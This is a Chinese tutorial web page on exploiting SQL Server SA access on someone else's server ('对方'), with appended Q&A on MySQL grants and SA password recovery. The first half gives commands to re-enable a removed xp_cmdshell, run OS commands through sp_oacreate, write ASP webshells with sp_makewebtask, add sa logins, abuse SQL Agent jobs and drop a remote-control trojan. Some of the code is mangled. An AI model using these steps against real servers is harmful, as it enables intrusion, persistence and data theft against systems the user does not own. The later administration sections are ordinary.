SQL-Server-SA权限小技巧 (sqlserver)

教程大全 2025-07-18 18:29:17 浏览

在取得SQL Server SA权限后,可以实现一些我们需要的功能,下面就教您几个SQL Server SA权限小技巧,希望对您学习SQL数据库有所帮助。

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

***部分:

有关去掉xp_cmdshell来保护系统的分析总结:首先知道一下语句:1.去掉xp_cmdshell扩展过程的方法是使用如下语句:if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]’) and OBJECTPROPERTY(id,N’IsExtendedProc’)=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’2.添加xp_cmdshell扩展过程的方法是使用如下语句:sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’现在看看现象:我们在取得SQL Server SA权限后远程用Sqlexec执行CMD命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。

现在来看看被去掉xp_cmdshell后恢复的两种方法:

方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc ‘xp_cmdshell’,’xpsql70.dll’或者对Sql2000情况下使用sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc ‘xp_cmdshell’就可以了

第二部分:

假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:

当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。

在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’提示数据库中已存在名为’xp_cmdshell’的对象。

ALT="Server" src="https://www.kuidc.com/zdmsl_image/article/20250718182917_54656.jpg" loading="lazy">

【编辑推荐】

SQL数据库操作授权

增加SQL用户名的方法

SQL Server用户权限详解

SQL2000创建角色示例

SQL Server安全管理的验证选择


SA权限怎么入侵?

1。 xp_cmdshell执行命令2。 OAcreate3。 JOB4。 xp_regread读web路径 上传asp木马5。 xp_regread读web路径 用sp_makewebtask生成一句话木马6。 差异备份7。 爆数据 进后台8。 declare @shell int exec sp_oacreate wscrī,@shell output exec sp_oamethod @shell,run,null,c:\winnt\system32\ /c 命令-- 执行命令9。 沙盒工具10。 openrowset命令连接本机测试sa若口令11。 bcp写文件12。 Bulk insert读取 拿SA密码~13。 利用sp_addlogin加一个sa用户进数据库14。 把注册表里沙盒的开关打开,找一个ACC注入点用岁月的工具执行命令15。 都要有sa权限或者master库的db权限EXEC [master].[dbo].[xp_makecab] c:\,default,1,d:\ 打包EXEC [master].[dbo].[xp_unpackcab] C:\,c:,1, 解包,可以用于得到webshellEXEC [master].[dbo].[xp_readerrorlog] 1,c:\ 读cmd的内容16。 exec _servicecontrol start,SQLSERVERAGENT 开SQLSERVERAGENT服务利用sp_add_job,sp_add_jobstep,sp_add_jobserver,sp_start_job,sp_addtask这些存储过程可以得到webshell或者系统权限17。 openrowset 命令连接ACCESS数据库 实现跨库查询! 要知道ACCESS数据库的绝对路径 还要有SA权限工具不行就试手工18。 丢个远控上去直接执行

mysql怎么查看用户权限

如果需要查看MySQL用户权限,应该如何实现呢?下面就为您介绍查看MySQL用户权限的方法,并对授予MySQL用户权限的语句进行介绍,供您参考。 查看MySQL用户权限:show grants for 你的用户比如:show grants for root@localhost;Grant 用法GRANT USAGE ON *.* TO discuz@localhost IDENTIFIED BY PASSWORD *C242DDD213BE9C6F8DA28DBF69FC79A86EB;GRANT ALL PRIVILEGES ON `discuz`.* TO discuz@localhost;我先按我的理解解释一下上面两句的意思建立一个只可以在本地登陆的 不能操作的用用户名 discuz 密码为 ***** 已经加密了的然后第二句的意思是 ,给这个discuz用户操作discuz数据库的所有权限使用GRANTGRANT命令用来建立新用户,指定用户口令并增加用户权限。 其格式如下:mysql> GRANT ON -> TO [IDENTIFIED BY ]-> [WITH GRANT OPTION];正如你看到的,在这个命令中有许多待填的内容。 让我们逐一地对它们进行介绍,并最终给出一些例子以让你对它们的协同工作有一个了解。 是一个用逗号分隔的你想要赋予的MySQL用户权限的列表。 你可以指定的权限可以分为三种类型:数据库/数据表/数据列权限: Alter: 修改已存在的数据表(例如增加/删除列)和索引。 Create: 建立新的数据库或数据表。 Delete: 删除表的记录。 Drop: 删除数据表或数据库。 INDEX: 建立或删除索引。 Insert: 增加表的记录。 Select: 显示/搜索表的记录。 Update: 修改表中已存在的记录。 全局管理MySQL用户权限:file: 在mysql服务器上读写文件。 PROCESS: 显示或杀死属于其它用户的服务线程。 RELOAD: 重载访问控制表,刷新日志等。 SHUTDOWN: 关闭MySQL服务。 特别的权限:ALL: 允许做任何事(和root一样)。 USAGE: 只允许登录--其它什么也不允许做。

SQL2000 sa密码找回方法

1.试试注销你的操作系统,用administrator登陆 查询分析器--连接使用windows身份验证--如果这里能成功,你就执行下面的语句来修改sa的密码 sp_password null,新密码,sa 2.不行就rebuilt你的master??????以window用户的方式进去,在企业管理器中把sa的密码改回来,这个方法好象可以。 试试看我不想改密码,有没办法把原来的密码找回来?不会原来的密码是找不回来的. 因为SQL对于密码的加密算法是不可逆的. 所以你还是用windows身份验证进去改sa密码吧.以下来自微软网站 问:我把我自己关在SQL Server 外面了,不能作为“sysadmin”登录。 有什么办法解决吗?我需要重新安装SQL Server吗? 答:您不必重新安装SQL Server。 要想重新访问SQL Server,您需要修改SQL Server 2000 和 SQL Server 7.0决定SQL Server身份验证模式的注册表键值。 在SQL Server 7.0中,该键为: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \MSSQLServer\MSSQLServer\LoginMode 在SQL Server 2000中,该键为: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MicrosoftSQLServer\\MSSQLServer\LoginMode “LoginMode”的值为0表示只进行Windows 的身份验证,为1表示验证模式为混合模式。 在您把自己关在外面之后,您可以把“LoginMode”改为1,重新启动SQL Server,然后以sa(system administrator)身份登录,输入您知道的sa密码即可。 以下关于SQL Server的角色成员的信息可能会帮助您理解为什么您会把自己关在SQLServer外面。 在您安装SQL Server 2000 或 7.0的时候,安装进程自动地为“BUILTIN\Administrators”创建一个登录帐号,该帐号为“sysadmin”角色成员。 “BUILTIN\Administrators”登录帐号代表了Microsoft Windows? 2000 或Microsoft Windows NT? server 上的系统管理员本地组。 Windows 2000 或 Windows NT的 “Administrator”帐户是系统管理员本地组的成员。 此外,如果您的服务器是一个域的成员(包括Windows 2000 的域和Windows NT 4.0的域),“Domain Admins”全局组也会成为本地系统管理员组的成员。 这意味着系统管理员本地组的所有成员都会自动地获得SQL Server上的“sysadmin”权限。 为了加强您的SQL Server的安全性,您可能更愿意创建您自己的组并授予它“sysadmin”权限,然后删除“BUILTIN\Administrators”登录帐号,或者至少从“sysadmin”服务器角色中删除它。 使用这种方法,您可以较好地对谁可以访问您的SQL Server进行控制。 这种方法也断开了SQL Server 系统管理员和Windows 2000 或 Windows NT 管理员之间的联系, 因为他们通常有不同的任务,并且需要不同的权限。 为了加强安全性,您可能想把SQL Server配置成只支持Windows身份验证。 但是,必须要记住:这种配置会禁用您的“sa”帐户。 (这个方法可能是禁用“sa”帐户的唯一方法,因为您不能删除“sa”帐户。 )如果您以错误的顺序实施了这个安全措施,您将不能再以>“sysadmin”的身份登录到SQL Server上,除非按照我上面所说的方法修改注册表键值。 正确的顺序是: 创建Windows 2000 或者 Windows NT 用户组并为组分配成员。 例如:创建一个叫做“SQLAdmins”的组。 把“SQLAdmins”映射为SQL Server里的一个用Windows身份验证方式验证登录的帐户,并把该帐户分派到“sysadmin”服务器角色。 删除“BUILTIN\Administrators”登录帐户或者把它从“sysadmin”服务器角色中删除。 把SQL Server的身份验证模式改为“仅进行Windows身份验证”。 重新启动SQL Server 以反映身份验证模式的变化。 注意: 如果您以下面的这种错误顺序实施这些步骤:删除“BUILTIN\Administrators”登录帐户,改变SQL Server 的身份验证模式为“仅进行Windows身份验证”,然后重新启动SQL Server,那么“sa” 帐户将被禁用,并且因为没有定义其它Windows身份验证登录帐户而无法进入SQL Server。 为了避免这种情况发生,请以正确的顺序实施这些安全措施停止sql server将自己应用数据库拷出,删除sql server,重新安装sql server,再将数据库用 sp_attachdb 过程导入

本文版权声明本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请联系本站客服,一经查实,本站将立刻删除。

发表评论

热门推荐